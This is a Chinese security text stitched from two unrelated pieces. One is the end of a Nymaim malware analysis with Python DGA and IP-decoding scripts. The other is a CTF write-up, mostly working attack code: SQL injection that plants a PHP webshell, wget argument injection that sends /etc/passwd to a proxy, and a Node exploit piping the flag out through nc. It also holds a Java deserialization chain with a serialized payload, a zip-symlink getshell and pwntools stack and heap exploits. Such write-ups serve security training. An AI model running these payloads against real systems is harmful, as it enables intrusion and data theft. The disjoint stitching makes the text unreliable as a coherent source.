## 结果
在本节中，你将看到DGA的Python实现，以及用于Nymaim的IP转换的脚本。
### DGA算法
DGA需要一个比较大的单词列表（ [words.json](https://www.johannesbader.ch/2018/04/the-new-domain-generation-algorithm-of-nymaim/2018-04-29-the-new-domain-generation-algorithm-of-nymaim/words.json)），将它放在与DGA脚本相同的目录中。你可以使用`-d`或`——date`生成特定日期的域名，如：
> python dga.py -d 2018-04-27
import json
import argparse
from datetime import datetime
import hashlib
class Rand:
def __init__(self, seed, year, yday, offset=0):
m = self.md5(seed)
s = "{}{}{}".format(m, year, yday + offset)
self.hashstring = self.md5(s)
@staticmethod
def md5(s):
return hashlib.md5(s.encode('ascii')).hexdigest()
def getval(self):
v = int(self.hashstring[:8], 16)
self.hashstring = self.md5(self.hashstring[7:])
return v
def dga(date):
with open("words.json", "r") as r:
wt = json.load(r)
seed = "3138C81ED54AD5F8E905555A6623C9C9"
daydelta = 10
maxdomainsfortry = 64
year = date.year % 100
yday = date.timetuple().tm_yday - 1
for dayoffset in range(daydelta + 1):
r = Rand(seed, year, yday - dayoffset)
for _ in range(maxdomainsfortry):
domain = ""
for s in ['firstword', 'separator', 'secondword', 'tld']:
ss = wt[s]
domain += ss[r.getval() % len(ss)]
print(domain)
if __name__=="__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-d", "--date", help="as YYYY-mm-dd")
args = parser.parse_args()
date_str = args.date
if date_str:
date = datetime.strptime(date_str, "%Y-%m-%d")
else:
date = datetime.now()
dga(date)
### IP转换脚本
下面的Python脚本可用于在两个方向转换Nymaim IP地址，并查看IP地址列表是否满足校验和要求：
import argparse
def iptoval(ip):
els = [int(_) for _ in ip.split(".")]
v = 0
for el in els[::-1]:
v <<= 8
v += el
return v
def valtoip(v):
els = []
for i in range(4):
els.append(str(v & 0xFF))
v >>= 8
return ".".join(els)
def step(ip, reverse=False):
v = iptoval(ip)
if reverse:
v ^= 0x18482642
v = (v + 0x78643587) & 0xFFFFFFFF
v ^= 0x87568289
else:
v ^= 0x87568289
v = (v - 0x78643587) & 0xFFFFFFFF
v ^= 0x18482642
return valtoip(v)
def transform(ip, iterations=16, reverse=False):
for _ in range(iterations):
ip = step(ip, reverse=reverse)
return ip
def checksum(pairs, index):
checksum = 0
for i, p in enumerate(pairs):
if i == index:
continue
checksum += iptoval(p[1])
return checksum & 0xFFFFFFFF
def findip(pairs):
for i, p in enumerate(pairs):
c = checksum(pairs, i)
if c == iptoval(p[1]):
return p[0]
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("ip", nargs="+")
parser.add_argument("-r", "--reverse", help="reverse transformation",
action="store_true")
parser.add_argument("-c", "--checksum", help="test checksum",
action="store_true")
args = parser.parse_args()
pairs = []
for ip_src in args.ip:
ip_dst = transform(ip_src, reverse=args.reverse)
pair = (ip_src, ip_dst)
d = "-->"
if args.reverse:
pair = pair[::-1]
d = "<--"
pairs.append(pair)
if not args.checksum:
print("{} {} {}".format(ip_src, d, ip_dst))
fmt = "| {:4} | {:15} | {:15} | {:10} |"
fmt2 = "| {:4} | {:15} | {:15} | 0x{:08X} |"
if args.checksum:
print(fmt.format("", "IP", "IP'", "value"))
print(fmt.format(*4 * ["---"]))
ok_ip = findip(pairs)
for ip, ipp in pairs:
if ip == ok_ip:
continue
print(fmt2.format("", ip, ipp, iptoval(ipp)))
for ip, ipp in pairs:
if ip != ok_ip:
continue
print(fmt2.format("x", ip, ipp, iptoval(ipp)))
if not ok_ip:
print("No IP matches checksum")
else:
print("The IP marked x matches the checksum of remaining IPs, "
"it is removed.")
例如，`sustainabilityminolta.com`的一个A记录值是`192.202.176.55`。可以得到真正的IP：
> python3 transform.py 192.202.176.55
192.202.176.55 --> 192.42.116.41
要反转转换，使用`-r`或`--reverse`：
> python3 transform.py 192.42.116.41 --reverse
192.42.116.41 <-- 192.202.176.55
要检查A资源记录是否满足校验和，添加所有ip为参数并添加`-c`或`——checksum`：
> python3 transform.py 127.33.12.14 127.33.12.15 192.202.176.55 126.56.117.50 --checksum
| | IP | IP' | value |
| --- | --- | --- | --- |
| | 127.33.12.14 | 127.0.0.0 | 0x0000007F |
| | 127.33.12.15 | 127.0.0.1 | 0x0100007F |
| | 192.202.176.55 | 192.42.116.41 | 0x29742AC0 |
| x | 126.56.117.50 | 190.43.116.42 | 0x2A742BBE |
The IP marked x matches the checksum of remaining IPs, it is removed.
如果IP与校验和匹配，则用x标记它。
## DGArchive
本文中的DGA是由DGArchive项目实现的。 | 社区文章 |
## Web
### EasySQL
访问robots.txt，可得三个文件index.php、config.php、helpyou2findflag.php。
fuzz黑名单，可发现select、单双引号、括号、分号、set、show、variables、等都没有过滤。
经测试可得到闭合方式为括号，且白名单为数据库记录行数，使用`1);{sqlinject}-- +`可以闭合查询语句并进行堆叠注入。
show variables like '%slow_query_log%'; # 查询慢日志记录是否开启
set global slow_query_log=1; # 开启慢查询日志
set global slow_query_log_file='/var/www/html/helpyou2findflag.php'; # 设置慢查询日志位置
查询慢日志记录有关的变量。
修改慢查询日志的保存位置。
sleep函数在黑名单中因此不能直接使用，这里有一个考点：慢查询日志只会记录超过long_query_time时间的查询语句，因此要在写入webshell的sql语句中超过执行耗时命令，由于union和sleep都被过滤所以需要一定的绕过技巧，最简单的方式应该是修改long_query_time的值。
1);setglobal long_query_time=0.000001;--+
1);show variables like 'long_query_time';--+
查询慢查询日志的判定时间。
查询一个webshell，查询记录就会被添加到slow_query_log_file变量所指向的位置，这里fuzz黑名单可知一句话木马中常见的关键词被过滤了，绕过一下即可：`bash
1);select '<?php $_REQUEST[a]($_REQUEST[b])?>';--+`
访问helpyou2findflag.php即可访问webshell。
接下来就是找flag了，查看用户发现有rainbow用户，`ip:port/helpyou2findflag.php?a=system&b=awk%20-F%27:%27%20%27{%20print%20$1}%27%20/etc/passwd`，查看家目录发现有ssh.log，flag就在其中。
* FakeWget
题目只有三个路由，一个输入点，容易判断考点是命令注入，因此需要先不断测试传入数据并刷新观察回显，来猜测后端与wget命令拼接逻辑和过滤逻辑，下面是三个比较典型的fuzz示例：
www.baidu.com
teststr with space www.baidu.com
这里fuzz出空格不可用
ls;\nwww.baidu.com
这里fuzz出分号不可用，同理可得反引号，|,;,&均被过滤，同时能够测试出可利用\n绕过正则检查，只需要构造出空格且领用wget命令即可
第一步测试出可利用\n绕过合法性检查，且特殊符号被替换成空格，至此已经能够构造出POC读文件了，利用http_proxy和--body-file参数读取本地文件发送到代理服务器上：
-e;http_proxy=http://ip:port/;--method=POST;--body-file=/etc/passwd;\nwww.baidu.com
这里特殊符号被替换成空格，\n绕过了检查wget的grep命令，并将/etc/passwd的文件内容发送到代理机上。
接下来就是找flag文件，第三个路由（点击getflag）访问后看网站源码，可知flag文件名称是`flag_is_here`
建议的思路是：/etc/passwd看到有ctf_user用户，读取ctf_user用户的.bash_history得到flask程序的根目录是`/home/ctf_user/basedirforwebapp/`，直接读文件`/home/ctf_user/basedirforwebapp/flag_is_here`即可得到flag。
### EasyWAF
访问首页“/”时，发现cookie为node=dGhlcmUgaXMgbm90aGluZ34h，base64解码后结果为“there is
nothing~!”。
访问接口“/register”时，尝试进行注入，会提示“SQL Injection Attack Found! IP record!”。
正常访问接口“/register”时，返回结果为“IP have
recorded!”，同时发现设置了Cookie为`node=bWF4X2FsbG93ZWRfcGFja2V0`，base64解码后结果“max_allowed_packet”。
访问“/hint”时，发现cookie为node=fiBub2RlLXBvc3RncmVzIH4h，base64解码后结果为“~ node-postgres
~!”。
进一步进行注入探测，可以知道，过滤了以下字符串：
"select",
"union",
"and",
"or",
"\\",
"/",
"*",
" "
结合以上两点信息，可以知道此web服务使用nodejs，并且waf数据保存在mysql中，而注册数据保存在postgresql中，同时可以利用mysql的max_allowed_packet特性绕过waf，并结合nodejs
postgres包的RCE漏洞进行利用，给出如下exp.py。
from random import randint
import requests
import sys
# payload = "union"
def exp(url, cmd):
print(cmd)
payload = """','')/*%s*/returning(1)as"\\'/*",(1)as"\\'*/-(a=`child_process`)/*",(2)as"\\'*/-(b=`%s`)/*",(3)as"\\'*/-console.log(process.mainModule.require(a).exec(b))]=1//"--"""% (' '* 1024* 1024* 16, cmd)
username = str(randint(1, 65535)) + str(randint(1, 65535)) + str(randint(1, 65535))
data = { 'username': username + payload,'password': 'ABCDEF'}
print('ok')
r = requests.post(url, data = data)
print(r.content)
if __name__ == '__main__':
exp(sys.argv[1], sys.argv[2])
执行“python3 exp.py <http://ip:端口/register> "cat flag.txt|nc ip 端口"”，如下：
远程服务器监听9999端口，获得flag。
### Web-log
访问网站自动下载了一个log文件。
打开查看内容，提示logname错误，那么可能需要提交logname。
并且抓包可以发现filename的路径为logs/info/info.2021-08-22.log。
提交参数仍然返回错误，但可以看到改文件名其实是一个日志文件名，那么他应该是按日分割的，代入今天的年月日。
发现成功读取到日志文件（这里无法做目录遍历），根据日志内容可判断，该web是springboot，对应的jar包名为cb-0.0.1-SNAPSHOT.jar，尝试是否可以下载jar包。
成功下载jar包。
反编译jar包，可以看到刚才访问请求方法为index。
并且发现还存在一个`/bZdWASYu4nN3obRiLpqKCeS8erTZrdxx/parseUser`接口，对提交的user参数做base64解码，并进行反序列化，那么该处存在一个反序列化漏洞。
分析pom.xml文件，发现有commons-beanutils:1.8.2依赖。
但ysoserial工具里的CommonsBeanutils链，除了依赖commons-beanutils以外，还依赖commons-collections，导致无法使用。
这里需要找到一条无依赖CC包的利用链，如下图所示：
publicclassCommonsBeanutilsNoCC{
publicstaticvoid setFieldValue(Object obj, String fieldName, Object value) throwsException{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
publicbyte[] getPayload(byte[] clazzBytes) throwsException{
TemplatesImpl obj = newTemplatesImpl();
setFieldValue(obj, "_bytecodes", newbyte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", newTransformerFactoryImpl());
finalBeanComparator comparator = newBeanComparator(null, String.CASE_INSENSITIVE_ORDER);
finalPriorityQueue<Object> queue = newPriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", newObject[]{obj, obj});
// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = newByteArrayOutputStream();
ObjectOutputStream oos = newObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
return barr.toByteArray();
}
}
上述的clazzBytes需替换成springboot回显class，代码如下：
publicclassSpringEcho{
publicSpringEcho() throwsException{
{
Object httpresponse = null;
try{
Object requestAttributes = Class.forName("org.springframework.web.context.request.RequestContextHolder").getMethod("getRequestAttributes", newClass[0]).invoke(null, newObject[0]);
Object httprequest = requestAttributes.getClass().getMethod("getRequest", newClass[0]).invoke(requestAttributes, newObject[0]);
httpresponse = requestAttributes.getClass().getMethod("getResponse", newClass[0]).invoke(requestAttributes, newObject[0]);
String s = (String)httprequest.getClass().getMethod("getHeader", newClass[]{String.class}).invoke(httprequest, newObject[]{"Cmd"});
if(s != null&& !s.isEmpty()) {
httpresponse.getClass().getMethod("setStatus", newClass[]{int.class}).invoke(httpresponse, newObject[]{newInteger(200)});
byte[] cmdBytes;
if(s.equals("echo") ) {
cmdBytes = System.getProperties().toString().getBytes();
} else{
String[] cmd = System.getProperty("os.name").toLowerCase().contains("window") ? newString[]{"cmd.exe", "/c", s} : newString[]{"/bin/sh", "-c", s};
cmdBytes = new java.util.Scanner(newProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\\\A").next().getBytes();
}
Object getWriter = httpresponse.getClass().getMethod("getWriter", newClass[0]).invoke(httpresponse, newObject[0]);
getWriter.getClass().getMethod("write", newClass[]{String.class}).
invoke(getWriter, newObject[]{(newString(cmdBytes))});
getWriter.getClass().getMethod("flush", newClass[0]).invoke(getWriter, newObject[0]);
getWriter.getClass().getMethod("close", newClass[0]).invoke(getWriter, newObject[0]);
}
} catch(Exception e) {
e.getStackTrace();
}
}
}
}
两者结合生成序列化数据，提交到服务端，数据包如下：
POST /bZdWASYu4nN3obRiLpqKCeS8erTZrdxx/parseUser HTTP/1.1
Host: 192.168.111.1:8081
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0(Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/91.0.4472.101Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: deviceid=1626766160499; xinhu_ca_rempass=0; xinhu_ca_adminuser=zhangsan
Connection: close
Cmd: cat /tmp/RyJSYfyVl6i2ZnB9/flag_kzucLifFImOTUiLC.txt
Content-Type: application/x-www-form-urlencoded
Content-Length: 4377
user=rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LPjgGC/k7xfgIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgAqamF2YS5sYW5nLlN0cmluZyRDYXNlSW5zZW5zaXRpdmVDb21wYXJhdG9ydwNcfVxQ5c4CAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAISQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WgAVX3VzZVNlcnZpY2VzTWVjaGFuaXNtTAALX2F1eENsYXNzZXN0ADtMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvSGFzaHRhYmxlO1sACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXEAfgAETAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA/////wBwdXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX%2bAYIVOACAAB4cAAACiDK/rq%2bAAAAMgCzAQAaVGVzdC9HYWRnZXQyMjY1MzgxMzc4NDExMDAHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEAGkdhZGdldDIyNjUzODEzNzg0MTEwMC5qYXZhAQAGPGluaXQ%2bAQADKClWDAAHAAgKAAQACQEAPG9yZy5zcHJpbmdmcmFtZXdvcmsud2ViLmNvbnRleHQucmVxdWVzdC5SZXF1ZXN0Q29udGV4dEhvbGRlcggACwEAD2phdmEvbGFuZy9DbGFzcwcADQEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7DAAPABAKAA4AEQEAFGdldFJlcXVlc3RBdHRyaWJ1dGVzCAATAQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwwAFQAWCgAOABcBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QHABkBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMABsAHAoAGgAdAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7DAAfACAKAAQAIQEACmdldFJlcXVlc3QIACMBAAtnZXRSZXNwb25zZQgAJQEACWdldEhlYWRlcggAJwEAEGphdmEvbGFuZy9TdHJpbmcHACkBAANDbWQIACsBAAdpc0VtcHR5AQADKClaDAAtAC4KACoALwEACXNldFN0YXR1cwgAMQEAEWphdmEvbGFuZy9JbnRlZ2VyBwAzAQAEVFlQRQEAEUxqYXZhL2xhbmcvQ2xhc3M7DAA1ADYJADQANwEABChJKVYMAAcAOQoANAA6AQAJYWRkSGVhZGVyCAA8AQADVGFnCAA%2bAQAHc3VjY2VzcwgAQAEABGVjaG8IAEIBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoMAEQARQoAKgBGAQAQamF2YS9sYW5nL1N5c3RlbQcASAEADWdldFByb3BlcnRpZXMBABgoKUxqYXZhL3V0aWwvUHJvcGVydGllczsMAEoASwoASQBMAQATamF2YS91dGlsL0hhc2h0YWJsZQcATgEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsMAFAAUQoATwBSAQAIZ2V0Qnl0ZXMBAAQoKVtCDABUAFUKACoAVgEAB29zLm5hbWUIAFgBAAtnZXRQcm9wZXJ0eQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7DABaAFsKAEkAXAEAC3RvTG93ZXJDYXNlDABeAFEKACoAXwEABndpbmRvdwgAYQEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaDABjAGQKACoAZQEAB2NtZC5leGUIAGcBAAIvYwgAaQEABy9iaW4vc2gIAGsBAAItYwgAbQEAEWphdmEvdXRpbC9TY2FubmVyBwBvAQAYamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyBwBxAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgwABwBzCgByAHQBAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwwAdgB3CgByAHgBABFqYXZhL2xhbmcvUHJvY2VzcwcAegEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsMAHwAfQoAewB%2bAQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWDAAHAIAKAHAAgQEAA1xcQQgAgwEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwwAhQCGCgBwAIcBAARuZXh0DACJAFEKAHAAigEACWdldFdyaXRlcggAjAEABXdyaXRlCACOAQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgcAkAoAkQAJAQAGPT09PT09CACTAQAGYXBwZW5kAQAsKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjsMAJUAlgoAkQCXAQAFKFtCKVYMAAcAmQoAKgCaCgCRAFIBAAVmbHVzaAgAnQEABWNsb3NlCACfAQATamF2YS9sYW5nL0V4Y2VwdGlvbgcAoQEAE2phdmEvbGFuZy9UaHJvd2FibGUHAKMBAA1nZXRTdGFja1RyYWNlAQAgKClbTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDsMAKUApgoApACnAQAEQ29kZQEACkV4Y2VwdGlvbnMBABNbTGphdmEvbGFuZy9TdHJpbmc7BwCrAQACW0IHAK0BAA1TdGFja01hcFRhYmxlAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAsAoAsQAJACEAAgCxAAAAAAABAAEABwAIAAIAqQAAAjIACgAJAAAB3Sq3ALIBTBIMuAASEhQDvQAOtgAYAQO9AAS2AB5NLLYAIhIkA70ADrYAGCwDvQAEtgAeTiy2ACISJgO9AA62ABgsA70ABLYAHkwttgAiEigEvQAOWQMSKlO2ABgtBL0ABFkDEixTtgAewAAqOgQZBAGlAAsZBLYAMJkABqcBUyu2ACISMgS9AA5ZA7IAOFO2ABgrBL0ABFkDuwA0WREAyLcAO1O2AB5XK7YAIhI9Bb0ADlkDEipTWQQSKlO2ABgrBb0ABFkDEj9TWQQSQVO2AB5XGQQSQ7YAR5kAEbgATbYAU7YAVzoFpwBhElm4AF22AGASYrYAZpkAGQa9ACpZAxJoU1kEEmpTWQUZBFOnABYGvQAqWQMSbFNZBBJuU1kFGQRTOga7AHBZuwByWRkGtwB1tgB5tgB/twCCEoS2AIi2AIu2AFc6BSu2ACISjQO9AA62ABgrA70ABLYAHjoHGQe2ACISjwS9AA5ZAxIqU7YAGBkHBL0ABFkDuwCRWbcAkhKUtgCYuwAqWRkFtwCbtgCYEpS2AJi2AJxTtgAeVxkHtgAiEp4DvQAOtgAYGQcDvQAEtgAeVxkHtgAiEqADvQAOtgAYGQcDvQAEtgAeV6cADjoIGQi2AKhXpwADsQABAAYBzgHRAKIAAQCvAAAAOwAJ/wB7AAUHAAIHAAQHAAQHAAQHACoAAAL7AGolUgcArPwAJAcArvoAhv8AAgACBwACBwAEAAEHAKIKAKoAAAAEAAEAogABAAUAAAACAAZwdAAEUHducnB3AQB4cQB%2bAA54
拿到回显了。
tmp目录下找到flag文件。
获取到flag。
### ZIPZIP
当解压操作可以覆盖上一次解压文件就可以造成任意文件上传漏洞。
查看upload.php源码：
zip.php
构造payload：
先构造一个指向 /var/www/html的软连接(因为html目录下是web环境，为了后续可以getshell)。
利用命令(zip --symlinks test.zip ./*)对test文件进行压缩。
此时上传该test.zip解压出里边的文件也是软连接
/var/www/html目录下接下来的思路就是想办法构造一个gethsell文件让gethsell文件正好解压在/var/www/html
此时就可以getshell。
构造第二个压缩包，我们先创建一个test目录(因为上一个压缩包里边目录就是test)，在test目录下写一个shell文件，在压缩创建的test目录
此时压缩包目录架构是：test/cmd.php。
当我们上传这个压缩包时会覆盖上一个test目录，但是test目录软链接指向/var/www/html
解压的时候会把cmd.php放在/var/www/html，此时我们达到了getsehll的目的。
上传第一个压缩包：
在上传第二个压缩包文件，此时cmd.php已经在/var/ww/html 目录下访问。
## PWN
### Find_Flag
分析find_flag程序，存在的漏洞位于sub_132F函数中，该函数中，存在栈溢出漏洞，如下所示：
.text:000000000000132F sub_132F proc near ; CODE XREF: main+71↓p
.text:000000000000132F; __unwind {
.text:000000000000132F endbr64
.text:0000000000001333 push rbp
.text:0000000000001334 mov rbp, rsp
.text:0000000000001337sub rsp, 60h
.text:000000000000133B mov rax, fs:28h
.text:0000000000001344 mov [rbp-8], rax
.text:0000000000001348 xor eax, eax
.text:000000000000134A lea rdi, aHiWhatSYourNam ; "Hi! What's your name? "
.text:0000000000001351 mov eax, 0
.text:0000000000001356 call sub_1100
.text:000000000000135B lea rax, [rbp-60h]
.text:000000000000135F mov rdi, rax
.text:0000000000001362 mov eax, 0
.text:0000000000001367 call sub_1110 ; gets读入数据，未限制大小
.text:000000000000136C lea rdi, aNiceToMeetYou ; "Nice to meet you, "
.text:0000000000001373 mov eax, 0
.text:0000000000001378 call sub_1100
.text:000000000000137D lea rax, [rbp-60h]
.text:0000000000001381 mov rcx, 0FFFFFFFFFFFFFFFFh
.text:0000000000001388 mov rdx, rax
.text:000000000000138B mov eax, 0
.text:0000000000001390 mov rdi, rdx
.text:0000000000001393 repne scasb
.text:0000000000001395 mov rax, rcx
.text:0000000000001398not rax
.text:000000000000139B lea rdx, [rax-1]
.text:000000000000139F lea rax, [rbp-60h]
.text:00000000000013A3 add rax, rdx
.text:00000000000013A6 mov word ptr [rax], 0A21h
.text:00000000000013AB mov byte ptr [rax+2], 0
.text:00000000000013AF lea rax, [rbp-60h]
.text:00000000000013B3 mov rdi, rax
.text:00000000000013B6 mov eax, 0
.text:00000000000013BB call sub_1100
.text:00000000000013C0 lea rdi, aAnythingElse ; "Anything else? "
.text:00000000000013C7 mov eax, 0
.text:00000000000013CC call sub_1100
.text:00000000000013D1 lea rax, [rbp-40h]
.text:00000000000013D5 mov rdi, rax
.text:00000000000013D8 mov eax, 0
.text:00000000000013DD call sub_1110 ; gets读入数据，未限制大小
.text:00000000000013E2 nop
.text:00000000000013E3 mov rax, [rbp-8]
.text:00000000000013E7 xor rax, fs:28h
.text:00000000000013F0 jz short locret_13F7
.text:00000000000013F2 call sub_10D0
.text:00000000000013F7
.text:00000000000013F7 locret_13F7: ; CODE XREF: sub_132F+C1↑j
.text:00000000000013F7 leave
.text:00000000000013F8 retn
.text:00000000000013F8; } // starts at 132F
.text:00000000000013F8 sub_132F endp
利用代码如下所示：
from pwn import*
importstruct
fs = "%17$lx,%19$lx"
flag = 0x0000000000001231
ret_offset = 0x146f
p = remote('127.0.0.1', 20701)
#p = process('./canary')
print((p.recvuntil('name? ')).decode())
p.sendline(fs.encode())
buf = (p.recvuntil('!\n').decode())
print(buf)
data = buf.split()[4].split('!')[0]
canary = (int((data.split(',')[0]), 16))
ret = (int((data.split(',')[1]), 16))
print(canary)
print(ret)
print(p.recvuntil('? ').decode())
payload = (("A"*56).encode())
payload += struct.pack("<Q", canary)
payload += (("A"*8).encode())
payload += struct.pack("<Q", flag + ret - ret_offset)
p.sendline(payload)
p.interactive()
### WriteBook
利用代码如下所示：
#!/usr/bin/env python3
# -*- coding: utf-8 -*- from pwn import*
exe = context.binary = ELF('./writebook')
if args.LIBC:
libc_path = "./libc.so.6"
os.environ['LD_PRELOAD'] = libc_path
else:
libc_path = "/lib/x86_64-linux-gnu/libc.so.6"
libc = ELF(libc_path)
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
context.terminal = ['tmux','splitw','-h']
return gdb.debug([exe.path] + argv)
elif args.REMOTE:
return remote("127.0.0.1", "8892")
else:
return process([exe.path] + argv, *a, **kw)
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Full RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: PIE enabled
"""
size: 32
[+] Heap-Analysis- __libc_malloc(32)=0x555555757040
page #1
1.New page
2.Write paper
3.Read paper
4.Destroy the page
5.Repick
> 3
"""
HEAP_BASE = 0
LIBC_BASE = 0
def create_page(size):
io.sendline("1")
io.recvuntil("both sides?")
if240< size:
io.sendline("2")
else:
io.sendline("1")
io.sendline(str(size))
def remove_page(nr):
io.sendline("4")
io.recvuntil("Page:")
io.sendline(str(nr))
def print_page(nr):
io.sendline("3")
io.recvuntil("Page:")
io.sendline(str(nr))
def load_page(nr, data):
io.sendline("2")
io.recvuntil("Page:")
io.sendline(str(nr))
io.recvuntil("Content:")
io.send(data)
def get_heapleak(pg_nr):
global HEAP_BASE
print_page(pg_nr)
io.recvuntil("Content:")
leakstr = io.recvline()[1:-1] + b"\x00\x00"
print(hex(u64(leakstr)))
heap_leak = u64(leakstr)
HEAP_BASE = heap_leak - 0xd30
print("-"* 89)
print("HEAPBASE: %s"% hex(HEAP_BASE))
def get_libcleak(pg_nr):
global LIBC_BASE
print_page(pg_nr)
io.recvuntil("Content:")
leakstr = io.recvline()[1:-1] + b"\x00\x00"
print(hex(u64(leakstr)))
libc_leak = u64(leakstr)
LIBC_BASE = libc_leak - 0x3ec070
print("-"* 89)
print("LIBC_BASE: %s"%hex(LIBC_BASE))
io = start()
io.recvuntil("> ")
# shellcode = asm(shellcraft.sh())
length = 0xf0-8
biglength = 0xf0
print("[*]First Create")
create_page(0x1e0)
#load_page(0, cyclic(0x1e0))
payload = b"A"*8
payload += p64(0x331)
load_page(0, payload)
io.sendline()
create_page(0x40)
create_page(0x50)
create_page(0x60)
create_page(40)
create_page(0x1e0)
create_page(0x90)
create_page(0xf0)
create_page(0xf0)
create_page(0xf0)
create_page(0xf0)
create_page(0xf0)
create_page(0xf0)
create_page(0xf0)
print("[*]Remove last 7")
remove_page(7)
remove_page(8)
remove_page(9)
remove_page(10)
remove_page(11)
remove_page(12)
remove_page(13)
print("[*]Create 0xf0")
create_page(0xf0)
print("[*]Heap Leak")
get_heapleak(7)
print("[*]Remove last")
remove_page(7)
#7
create_page(0x1e0)
create_page(0x1e0)
create_page(0x1e0)
create_page(0x1e0)
create_page(0x1e0)
create_page(0x1e0)
create_page(0x1e0)
create_page(0x1e0)
create_page(0x1e0)
create_page(0x1e0) #keep from merging with top
remove_page(7)
remove_page(8)
remove_page(9)
remove_page(10)
remove_page(11)
remove_page(12)
remove_page(13)
remove_page(14)
remove_page(15)
create_page(0x1d0)
get_libcleak(7)
remove_page(7)
print("LIBC_BASE: %s"%hex(LIBC_BASE))
print("HEAP_BASE: %s"%hex(HEAP_BASE))
payload = b"-"*(0x100-8)
payload += p64(0xf1)
load_page(5, payload)
io.sendline()
#tcache is now full for 0x1e0, overflow the next chunk header and set prev size
CHUNK_TO_COALESCE = HEAP_BASE+0x260
FAKECHUNK_BASE = CHUNK_TO_COALESCE+0x18
FREE_HOOK = LIBC_BASE+0x3ed8e8
payload = b""
payload += b"A"*32
payload += p64(0x330) #fake prev_size pointing to page 0
load_page(4, payload)
payload = b"A"*8
payload += p64(0x331)
payload += p64(FAKECHUNK_BASE)
payload += p64(FAKECHUNK_BASE+0x8)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(CHUNK_TO_COALESCE)
len(payload)
load_page(0, payload)
io.sendline()
#io.interactive()
# free the page we modified the chunk on
remove_page(5)
# we now have unsorted bin pointing to 0x270 offset which overlaps. Now create a page to get that pointer
create_page(0x1d0)
create_page(0x1d0)
create_page(0x1d0)
# then remove to get into tcache
remove_page(5)
remove_page(6)
remove_page(7)
remove_page(8)
# 0x270 offset pointer is now in tcache
# overwrite the next pointer
payload = b""
payload += p64(0)
payload += p64(0x1e1)
payload += p64(FREE_HOOK)
load_page(0, payload)
io.sendline()
create_page(0x1d0)
create_page(0x1d0)
# Write the magic gadget to __free_hook ptr
payload = p64(LIBC_BASE+0x4f432)
load_page(6, payload)
io.sendline()
# free a page
remove_page(3)
io.interactive()
